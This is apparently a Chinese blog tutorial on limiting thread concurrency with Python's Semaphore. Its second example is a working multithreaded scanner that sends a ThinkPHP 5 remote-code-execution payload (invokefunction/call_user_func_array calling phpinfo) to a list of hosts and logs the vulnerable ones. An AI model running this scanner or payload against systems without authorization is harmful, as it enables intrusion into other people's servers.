1. 程式人生 > 程式設計 >python多執行緒semaphore實現執行緒數控制的示例

python多執行緒semaphore實現執行緒數控制的示例

前面寫過一篇關於python多執行緒的實現的文章, 但是效果不是最佳的,寫法也不是很好。通過網上學習,也瞭解到了semaphore這個東西。

百度給的解釋:Semaphore是一種在多執行緒環境下使用的設施,該設施負責協調各個執行緒,以保證它們能夠正確、合理的使用公共資源的設施,也是作業系統中用於控制程序同步互斥的量。

一個有趣的例子:假設停車場只有三個車位,一開始三個車位都是空的。這時如果同時來了五輛車,看門人允許其中三輛不受阻礙的進入,然後放下車攔,剩下的車則必須在入口等待,此後來的車也都不得不在入口處等待。這時,有一輛車離開停車場,看門人得知後,開啟車攔,放入一輛,如果又離開兩輛,則又可以放入兩輛,如此往復。

簡而言之,也就是能夠控制多執行緒併發的數量。

簡單記錄一下如何通過semaphore實現執行緒數的控制。

簡單程式碼:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #繼承threading類
 def __init__(self,i,sem): 
 super(test,self).__init__()   #繼承python的構造方法,這為python2的寫法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #釋放執行緒數,執行緒數加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #設定可同時執行的最大執行緒數
 for i in range(50):
 sem.acquire()         #獲得執行緒,可用執行緒數減1
 t = test(i,sem)       #給執行函式傳遞值
 t.start()           #執行函式
sem = threading.Semaphore(5)    #設定可同時開啟的執行緒數,這裡為5個

每執行一次函式的時候就獲得一個執行緒數,sem.acquire();每次執行完函式,就會釋放一個執行緒數,sem.release()。只要acquire()的執行緒數達到了最大數(這裡為5),後面的執行緒就只能先等待前面獲得的執行緒執行完函式過後釋放,後面的執行緒才能繼續執行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個執行緒的多執行緒指令碼,但是方法不夠好,這次用這個方法改了一下,貼在這裡(掃描tp5是否存在程式碼執行漏洞的掃描指令碼):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判斷是否存在這個漏洞的執行函式
 def __init__(self,url,sem):
 super(check,self).__init__()   #繼承threading類的構造方法,python3的寫法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url,params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt","a+") as f1:
      f1.write("存在tp5遠端程式碼執行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #執行完函式,釋放執行緒,執行緒數加1

class host(threading.Thread):     #遍歷檔案操作
 def __init__(self,sem):
 super(host,self).__init__()  #繼承threading類的構造方法,python3的寫法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1],"r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍歷一個就獲得一個執行緒,直到達到最大
  host = "http://" + host.strip()
  host_thread = check(host,self.sem) 
  host_thread.start()  #執行check()的執行函式

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大執行緒數為10個
 thread = host(sem)         #傳遞sem值
 thread.start()

到此這篇關於python多執行緒semaphore實現執行緒數控制的示例的文章就介紹到這了,更多相關python 執行緒數控制內容請搜尋我們以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援我們!